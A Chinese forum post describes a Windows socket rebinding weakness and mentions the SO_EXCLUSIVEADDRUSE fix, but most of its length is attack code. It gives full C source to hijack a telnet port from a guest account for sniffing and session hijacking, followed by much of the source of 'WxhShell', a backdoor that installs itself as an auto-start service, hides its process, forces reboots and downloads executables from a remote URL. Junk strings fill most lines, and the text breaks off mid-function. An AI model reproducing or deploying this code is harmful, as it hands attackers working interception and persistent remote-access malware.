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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /\1MG>#K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hb{G RG70  
By-A1|4Cp`  
  saddr.sin_family = AF_INET; v %fRq!~  
~$3X>?Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V:8ph`1  
|LNAd:0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Yhkn(k2  
L[FNr&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C 9:5c@G  
VY=c_Gl  
  这意味着什么?意味着可以进行如下的攻击: F)g.xQ  
r% ]^(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }vLK-V v  
#=B~} _  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N [iv.B  
w\z6-qa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z#lZn!EbK  
e+5]l>3)f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =5sUpP V(  
\f7A j>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f}1R,N_fC  
T]tG,W1>i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `II/nv0jn  
ekj@;6 d]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s*U~Q=Z  
~~_!&  
  #include s-He  
  #include w Kq-|yf,  
  #include &_EjP hZ  
  #include    &91U(Go  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ux Yb[Nbc  
  int main() loLN ~6  
  { >dW~o_u'QN  
  WORD wVersionRequested; aQK>q. t  
  DWORD ret; ]`2=<n;=  
  WSADATA wsaData; KF"&9nB  
  BOOL val; n^Qt !~  
  SOCKADDR_IN saddr; fQ^45ulz  
  SOCKADDR_IN scaddr; zl W 5$cC[  
  int err; |lijnfp  
  SOCKET s; Zw[A1!T,  
  SOCKET sc; l 6;}nG  
  int caddsize; xCOC5f5*@  
  HANDLE mt; P%6-W5<  
  DWORD tid;   rN'')n/F  
  wVersionRequested = MAKEWORD( 2, 2 ); 'Zdjd]  
  err = WSAStartup( wVersionRequested, &wsaData ); F~cvob{  
  if ( err != 0 ) { Rmrv@.dr!  
  printf("error!WSAStartup failed!\n"); =jX'FNv#  
  return -1; u*ZRU 4 U  
  } +a%Vp!y  
  saddr.sin_family = AF_INET; etEm#3  
   ?2b*F Qe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k{op,n#  
`2X#;{a:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z@nJ-*'U8  
  saddr.sin_port = htons(23); HrUQ X4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wsyG~^>  
  { |(E.Sb  
  printf("error!socket failed!\n"); /N`l z>^~  
  return -1; 2\xv Yf-  
  } h]rF2 B  
  val = TRUE; H*DWDJxmV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &VIX?UngE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F j_r n  
  { a sDq(J`sQ  
  printf("error!setsockopt failed!\n"); Cz2OGM*mz?  
  return -1; b5hJaXJN  
  } Y!VYD_'P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &^C <J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fg3VD(D^U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7a@%^G @!  
"#4p#dM0e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  q$$:<*Uy  
  { c$)Y$@D  
  ret=GetLastError(); X]J]7\4tF\  
  printf("error!bind failed!\n"); bqwQi>^Cw  
  return -1; 'E2\e!U/  
  } Y"G U"n~  
  listen(s,2); }s_'q~R  
  while(1) IR(6  
  { yv:8=.r}M  
  caddsize = sizeof(scaddr); 78v4c Q Y  
  //接受连接请求 _c=[P@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VZ?"yUZ Id  
  if(sc!=INVALID_SOCKET) %[:\ZwT,-  
  { CKShz]1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,?"cKdiZ  
  if(mt==NULL) -jc8ku3*  
  { 6&p I{  
  printf("Thread Creat Failed!\n"); "HRoS#|\  
  break; ""[(e0oA  
  } J`U\3:b`SP  
  } <$#b3F"I  
  CloseHandle(mt); O2|[g8(_F  
  } ?dJ-g~  
  closesocket(s); j rX .e  
  WSACleanup(); \ltA&}!  
  return 0; &Q>)3]|p  
  }   > uS?Nz5/  
  DWORD WINAPI ClientThread(LPVOID lpParam) bI)ItC_wf!  
  { u~#QvA~]  
  SOCKET ss = (SOCKET)lpParam; yUb$EMo \  
  SOCKET sc; xjHOrr OQ  
  unsigned char buf[4096]; XeD9RMT  
  SOCKADDR_IN saddr; *Mf;  
  long num; }]1=?:tX%  
  DWORD val; FNpMu3Q  
  DWORD ret; +{V"a<D$m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =%, ;=4w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~]HeoQK  
  saddr.sin_family = AF_INET; SG1o< #>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Q<^,`/T  
  saddr.sin_port = htons(23); aa8xo5tIp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r<]Db&k   
  { YNc] x>  
  printf("error!socket failed!\n"); }`g:) g J  
  return -1; wB6 ILTu1  
  } N&`VMEB)k  
  val = 100; "mbcZ5 _  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7^|oO~x6  
  { Nz`4q %+  
  ret = GetLastError(); e0O2 >w  
  return -1; 6Z~u2&  
  } o]0v#2l'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E#t;G: +A  
  { ncg5%(2  
  ret = GetLastError(); P-9[,3Zd  
  return -1; l4+!H\2  
  } 6X(Yv2X&4%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (lwrk(  
  { <vx/pH)f  
  printf("error!socket connect failed!\n"); @OOnO+g  
  closesocket(sc); +g_+JLQ  
  closesocket(ss); H=E`4E#k  
  return -1; P(I`^x  
  } <7HVkAa  
  while(1) Qmxe*@{`  
  { c$),/0td|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ea3;1-b:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mA|&K8H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h^klP:Q  
  num = recv(ss,buf,4096,0); l2uh"!  
  if(num>0) < aeBhg%  
  send(sc,buf,num,0); ^UP!y!&N  
  else if(num==0) :USN`"  
  break; `n%uvo}UT  
  num = recv(sc,buf,4096,0); 7Iu^ l4=2  
  if(num>0) CZB!vh0  
  send(ss,buf,num,0); 85; BS'  
  else if(num==0) FQ dz":5  
  break; J2cqnwUV  
  } ~=hM y`Ml  
  closesocket(ss); n:JWu0,h  
  closesocket(sc); %bo0-lnp  
  return 0 ; 68ce+|  
  } ~l$u~:4Ob  
 L><# I  
IC&xL9  
========================================================== .`Ey'T_  
"]M:+mH{]  
下边附上一个代码,,WXhSHELL %H=d_Nm{  
utIR\e#:B  
========================================================== N3?hyR<T  
_t<&#D~  
#include "stdafx.h" >ZMB}pt`  
2E~WcB  
#include <stdio.h>  zjVBMqdD  
#include <string.h> ]h4^3   
#include <windows.h> j)4:*R.Z]  
#include <winsock2.h> y]|Hrx  
#include <winsvc.h> ""cnZZ5)  
#include <urlmon.h> _'9("m V  
6*`KC)a  
#pragma comment (lib, "Ws2_32.lib") 'n`+R~Kkh  
#pragma comment (lib, "urlmon.lib") Rh!B4oB4  
Xup rl2+  
#define MAX_USER   100 // 最大客户端连接数 VC%{qal;q  
#define BUF_SOCK   200 // sock buffer /Q h  
#define KEY_BUFF   255 // 输入 buffer hdky:2^3  
\)Sa!XLfT  
#define REBOOT     0   // 重启 F?!P7 zW  
#define SHUTDOWN   1   // 关机 .FUws  
KU,K E tf  
#define DEF_PORT   5000 // 监听端口 D^cv 8 8<  
USgZ%xk2  
#define REG_LEN     16   // 注册表键长度 j`JY3RDD  
#define SVC_LEN     80   // NT服务名长度 u{#}Lo>B #  
on?<3eED  
// 从dll定义API (Fc\*Vn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RLBeti>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NfG<!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A*d Pw.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : utY4  
|C:^BWrU*  
// wxhshell配置信息 -$W#bqvz^  
struct WSCFG { Cjh0 .{  
  int ws_port;         // 监听端口 L eg)q7n  
  char ws_passstr[REG_LEN]; // 口令 y$,K^f  
  int ws_autoins;       // 安装标记, 1=yes 0=no l=EnK"aU  
  char ws_regname[REG_LEN]; // 注册表键名 kKbq?}W[  
  char ws_svcname[REG_LEN]; // 服务名 YU=Q`y[k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +Sz%2 Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5u/dr9n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *nb `DR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |'mwr!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _v~c3y).  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bv %Bo4s  
#G</RYM~m  
}; B4tC3r  
<( "M;C3y  
// default Wxhshell configuration CC{*'p6  
struct WSCFG wscfg={DEF_PORT, 3y&N}'R(F  
    "xuhuanlingzhe", r~mZ?dI  
    1, Jo%`N#jG   
    "Wxhshell", 6I)[6R  
    "Wxhshell", JONfNb+  
            "WxhShell Service", .h({P#QT  
    "Wrsky Windows CmdShell Service", zL8Z8eh">  
    "Please Input Your Password: ", :/rl \woA>  
  1, O|Sbe%[*wW  
  "http://www.wrsky.com/wxhshell.exe", y]3`U UvXD  
  "Wxhshell.exe" ;Dh\2! sr  
    }; .AB n$ml]  
DIsK+1  
// 消息定义模块 \[\4= !v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X`/GiYTu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g`7C1&U*T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >(EC.ke  
char *msg_ws_ext="\n\rExit."; -|z ]Ir  
char *msg_ws_end="\n\rQuit."; /,C;fT<R  
char *msg_ws_boot="\n\rReboot..."; 0o2*X|i(  
char *msg_ws_poff="\n\rShutdown..."; I |PEC-(  
char *msg_ws_down="\n\rSave to "; 7Shau%2C  
(-}:'5|Yj  
char *msg_ws_err="\n\rErr!"; GtuA94=!V&  
char *msg_ws_ok="\n\rOK!"; _sp, ,gz  
)2z<5 `  
char ExeFile[MAX_PATH]; DB~3(r?K  
int nUser = 0; #}PQ !gZ  
HANDLE handles[MAX_USER]; _+sb~  
int OsIsNt; $&25hvK,  
MQc<AfW3/  
SERVICE_STATUS       serviceStatus; G_m$?0\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fMpxe(  
7$"A2x   
// 函数声明 [ Xa,|  
int Install(void); x/fhlf}a}=  
int Uninstall(void); V),wDyi  
int DownloadFile(char *sURL, SOCKET wsh); T }}T`Ce  
int Boot(int flag); @:dn\{Zsea  
void HideProc(void); PFKl6_(  
int GetOsVer(void); X!b+Dk  
int Wxhshell(SOCKET wsl); AX%N:)_$|  
void TalkWithClient(void *cs); IdS=lN$  
int CmdShell(SOCKET sock); 'fK3L<$z#m  
int StartFromService(void); (U{,D1?  
int StartWxhshell(LPSTR lpCmdLine); !"g2F}n  
$+k|\+iJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B_uhNLd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &%UZ"CcA  
{xD\w^  
// 数据结构和表定义 BS.5g<E2q  
SERVICE_TABLE_ENTRY DispatchTable[] = 8|LU=p`y'  
{ ~GLWhe-  
{wscfg.ws_svcname, NTServiceMain}, A'tv[T d8,  
{NULL, NULL} +F?}<P_v  
}; G$^u2wz.  
b F MBIA|  
// 自我安装 l\/uXP?  
int Install(void) S.zY0  
{ 1!%T<!A.  
  char svExeFile[MAX_PATH]; qyKI.X3n*  
  HKEY key; 34 '[O  
  strcpy(svExeFile,ExeFile); BvLC%  
[Ot<8)Jm  
// 如果是win9x系统,修改注册表设为自启动 Lp7h'| ]u  
if(!OsIsNt) { !gm@QO cF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z j F'CY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HEk{!Y  
  RegCloseKey(key); /u&7!>,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]IclA6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F-X L  
  RegCloseKey(key); ri2`M\;gt  
  return 0; rw$ =!iyO  
    } to{7B7t>q  
  } IkuE|  
} ei82pLM z  
else { OJ1MV7&  
Eb7GiRT#  
// 如果是NT以上系统,安装为系统服务 [#SiwhF|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U+Vb#U7;  
if (schSCManager!=0) l*z+<c6$_  
{ ydTd.`  
  SC_HANDLE schService = CreateService o3X0c6uU  
  ( Hva/C{Y  
  schSCManager, {pXqw'"1.  
  wscfg.ws_svcname, z.~jqxA9  
  wscfg.ws_svcdisp, _7;D0l  
  SERVICE_ALL_ACCESS, ,YBe|3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G-TD9OgZ  
  SERVICE_AUTO_START, hvc3n> Y[}  
  SERVICE_ERROR_NORMAL, [ <j4w  
  svExeFile, Os/?iGlD*E  
  NULL, 6@;sOiN+  
  NULL, +xuj]J  
  NULL, z~th{4#E ;  
  NULL, wg4Ol*y'  
  NULL !-m 'diE  
  ); FEi@MJJ\e  
  if (schService!=0) K 8W99:v  
  { s~m]>^?8MR  
  CloseServiceHandle(schService); b"nD5r  
  CloseServiceHandle(schSCManager); T930tX6"h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O Cn  ra  
  strcat(svExeFile,wscfg.ws_svcname); `<6FCn4{X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G8.nKoHv7x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h!7Lvh`o  
  RegCloseKey(key); c=D~hzN  
  return 0; eVzZfB-=4}  
    } _h I81Lzq  
  } $|N\(}R  
  CloseServiceHandle(schSCManager); k3T374t1b  
} )|GYxG;8C  
} r)Ja\ ;  
qJJ}, 4}  
return 1; FzAzAl 5  
} lHFk~Qp[  
;?y~ h$  
// 自我卸载 V ONC<wC  
int Uninstall(void) J(SGaHm@  
{ >[ g=G  
  HKEY key; p*U!94Pb  
X%T%N;P  
if(!OsIsNt) { /I:&P Pff  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VI-6t"l  
  RegDeleteValue(key,wscfg.ws_regname); 6m@B.+1  
  RegCloseKey(key); +p$lVnAt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4HpKKhv"  
  RegDeleteValue(key,wscfg.ws_regname); gfKv$~  
  RegCloseKey(key); :%h|i&B  
  return 0; 0es\ j6c  
  } HM#|&_gV  
} tns4e\  
} i.^:xZ  
else { 7 .]H9  
K)^8 :nt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i1K$~  
if (schSCManager!=0) PsZ>L  
{ u'^kpr`y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GE? \Vm  
  if (schService!=0) /!N=@z)  
  { fYW9Zbov-  
  if(DeleteService(schService)!=0) { x<7?  
  CloseServiceHandle(schService); R:rols"QM  
  CloseServiceHandle(schSCManager); yb>R(y  
  return 0; ErgWsAw-  
  } F3t IJz>3  
  CloseServiceHandle(schService); < FY%QB)h  
  } QP<.~^ao  
  CloseServiceHandle(schSCManager); W0}FOfL9  
} c|K:oi,z  
} 5hh6;)  
li{!Jp5]1b  
return 1; z`p9vlS[  
} YI`BA`BQ8  
>x6)AH.  
// 从指定url下载文件 QKhGEW~G  
int DownloadFile(char *sURL, SOCKET wsh) (g&@E(@]?  
{ c^&4m[?C[u  
  HRESULT hr; KT17I&:  
char seps[]= "/"; nPDoK!r'  
char *token; FlUO3rc|  
char *file; % [~0<uO  
char myURL[MAX_PATH]; @}Q!K*  
char myFILE[MAX_PATH]; ,9MNB3  
x&"P^gh)  
strcpy(myURL,sURL); abCxB^5VL  
  token=strtok(myURL,seps); GDb V y)&  
  while(token!=NULL) dk"@2%xJ2d  
  { .&`apQD}  
    file=token; ,gM:s}l!dJ  
  token=strtok(NULL,seps); 6!N2B[9  
  } "d /uyS$6  
:G] t=vr1  
GetCurrentDirectory(MAX_PATH,myFILE); @yC3a)=$L  
strcat(myFILE, "\\");  FsQoQ#*  
strcat(myFILE, file); 9p1@Lfbj  
  send(wsh,myFILE,strlen(myFILE),0); kB%.i%9\\  
send(wsh,"...",3,0); (;H% r &  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t*dq*(3"c  
  if(hr==S_OK) V F b  
return 0; r'lANl-v  
else EWY'E;0@5  
return 1; AX Q.E$1g  
g++-v HD  
} PHUeN]s#  
id" l"  
// 系统电源模块 F,Ve,7kh  
int Boot(int flag) )vpYVr-  
{ E|jU8qz>P  
  HANDLE hToken; >3~)2)Q  
  TOKEN_PRIVILEGES tkp; mNEh\4ai  
`M(st%@n  
  if(OsIsNt) { FvO,* r9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "@|rU4Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ReL+V  
    tkp.PrivilegeCount = 1; c-!3wvt)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MmePhHf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N2Ysi$  
if(flag==REBOOT) { 2?v }w<Ydl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SLUQFoz}  
  return 0; GV28&!4sS  
} @1<VvW=  
else { _ n1:v~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8j :=D!S  
  return 0; ?;.=o?e9  
} g!o2vTt5  
  } SU6Aq?`@  
  else { Azp!;+  
if(flag==REBOOT) { "WO0 rh`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fs(S!;  
  return 0; y$_]}<b  
} H SGz-  
else { -_eG/o=M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -YmIRocx  
  return 0; Zm7, O8  
} >,I'S2_Zl  
} X#K;(.},h  
g+c%J#F=  
return 1; w`3.wALb  
} VZ y$0*  
ry@p  
// win9x进程隐藏模块 K5\l (BB  
void HideProc(void) m|t\w|B2  
{ 98 ]pkqp4  
o;#8=q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q">}3`k  
  if ( hKernel != NULL ) V<;_wO^  
  { IN;9p w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E*fa&G~s )  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vts"  
    FreeLibrary(hKernel); 0vBQzM Q  
  } }gB^C3b6  
:i@ $s/  
return; O=lRI)6w@e  
} 5,V*aP  
64`l?F  
// 获取操作系统版本 3Co1bY:  
int GetOsVer(void) f5l\3oL  
{ rc~)%M<[2  
  OSVERSIONINFO winfo; ,dw\y/dn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [z+YX s!N  
  GetVersionEx(&winfo); }9#GJ:x`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *.+F]-  
  return 1; a? PH`5O  
  else Wa.!eAe}  
  return 0; s{V&vRr  
} ]KXyi;n2  
[7[Qw]J  
// 客户端句柄模块 >i.$s  
int Wxhshell(SOCKET wsl) T4gfQ6#  
{ /BvMNKb$$  
  SOCKET wsh; 1/qD5 *`Y  
  struct sockaddr_in client; Zr A*MN  
  DWORD myID; ?hR0 MnP  
|ITb1O`_P  
  while(nUser<MAX_USER) \Cin%S. C  
{ b`^?nD7  
  int nSize=sizeof(client); QtW e,+WWV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,1lW`Krx  
  if(wsh==INVALID_SOCKET) return 1; fQg^^ZXe"  
E?|NYu#I6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1&7?f  
if(handles[nUser]==0) u|u)8;'9(  
  closesocket(wsh); 589fr"Ma,6  
else $AMcU5^b7  
  nUser++; K V?+9qa,  
  } j]5e$e{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EM +! ph  
B9cWxe4R#  
  return 0; ui|6ih$+  
} ) .' + {  
b E40^e  
// 关闭 socket  CWYOzqf  
void CloseIt(SOCKET wsh) xXmlHo<D  
{ 7M5H vG#w%  
closesocket(wsh); O*,O]Q  
nUser--; 5INw#1~  
ExitThread(0); }j2t8B^&:  
} ?A r}QN  
lb=fS%  
// 客户端请求句柄 xCT2FvX6  
void TalkWithClient(void *cs) $*P +   
{ :6EX-Xyj  
[O!/hppN  
  SOCKET wsh=(SOCKET)cs; erTly2-SJ  
  char pwd[SVC_LEN]; (I>SqM Y  
  char cmd[KEY_BUFF]; S==0/  
char chr[1]; m6 xbO  
int i,j; AxTFV ot  
n:s _2h(u  
  while (nUser < MAX_USER) { ?>vkY^/  
een62-`  
if(wscfg.ws_passstr) { i??+5o@uTF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*Zm{r@u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X9^q-3&60  
  //ZeroMemory(pwd,KEY_BUFF); dpt P(H  
      i=0; "e>9R'y  
  while(i<SVC_LEN) { /; 21?o  
UX|3LpFX&I  
  // 设置超时 ^r7KEeVD  
  fd_set FdRead; 9Q\B1Q  
  struct timeval TimeOut; L6!Hv{ijn  
  FD_ZERO(&FdRead); BZXee>3"  
  FD_SET(wsh,&FdRead); 2@HmZ!|Q  
  TimeOut.tv_sec=8; +G7[(Wz(z  
  TimeOut.tv_usec=0; 4ISIg\:c*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $,I@c"m{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uOKdb6]r6  
[<f9EeziB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `G*fx=N  
  pwd=chr[0]; H{EZ} *{M4  
  if(chr[0]==0xd || chr[0]==0xa) { b#t5Dve  
  pwd=0; >:FmAey  
  break; 7nW <kA  
  } Rx.5;2m  
  i++; 6vJ S"+ <  
    } ^HI2Vp  
37M,Os1(  
  // 如果是非法用户,关闭 socket k<N5*k8M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |B^Picu  
} ?\X9Ei  
F)/4#[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +#X+QG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -G=.3 bux  
-h8Z@r~a/  
while(1) { W3%RB[s-  
X>]<rEh  
  ZeroMemory(cmd,KEY_BUFF); p2+K-/}ApP  
X1V~.k vt)  
      // 自动支持客户端 telnet标准   O\%0D.HEz  
  j=0; TKEcbGhy  
  while(j<KEY_BUFF) { zP c54 >f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,t'"3<^Jg  
  cmd[j]=chr[0]; 6IJ;od.\b$  
  if(chr[0]==0xa || chr[0]==0xd) { cVmF'g  
  cmd[j]=0; AB<bW3qf(  
  break; xKepZ  
  } } R hSt]  
  j++; tejpY  
    } X%7l! k[  
L,,*8  
  // 下载文件 5.kKg=a  
  if(strstr(cmd,"http://")) { Uqly|FS &n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {?3i^Q=V  
  if(DownloadFile(cmd,wsh)) )M7~RN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2xBh  
  else z38Pi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #N y+6XM  
  } Yb:F,d-Ya  
  else { ?dCJv_w  
0AhUH| ]  
    switch(cmd[0]) { m YhDi  
  r -uu`=,  
  // 帮助 /}5)[9GC  
  case '?': { 7Q&S [])  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i+I1h=  
    break; (^<skx>  
  } D8$4PT0u  
  // 安装 kn&BGYt  
  case 'i': { Ffd;aZ4n  
    if(Install()) W{ZJ^QAq/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NOq>kH@  
    else E*+]Iq1u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ydE}.0zN  
    break; /\E3p6\*  
    } 8N`Rf; BM  
  // 卸载 N4WX}  
  case 'r': { Ve40H6 Ox  
    if(Uninstall()) r8o^8.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Bg>=C)^(1  
    else X%`:waR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i> {0h3Y  
    break; j`MK\*qmz  
    } =}SLQdT  
  // 显示 wxhshell 所在路径 0}g~69Z1=  
  case 'p': { ^<j =.E  
    char svExeFile[MAX_PATH]; 2>Qy*  
    strcpy(svExeFile,"\n\r");  D28>e  
      strcat(svExeFile,ExeFile); +zl [C  
        send(wsh,svExeFile,strlen(svExeFile),0); 2=naPTP(  
    break; NK%Ok  
    } Zk31|dL  
  // 重启 iD>H{1 h  
  case 'b': { k#8E9/ t@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z|$9%uz"  
    if(Boot(REBOOT)) aT BFF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ejyo oO45  
    else { ]Z*B17//  
    closesocket(wsh); /2 $d'e  
    ExitThread(0); Mh@n>+IR  
    } Qzv&  
    break; '7.4!I0'  
    } ZCNO_g  
  // 关机 IL"N_ux~w~  
  case 'd': { C)%qs]  
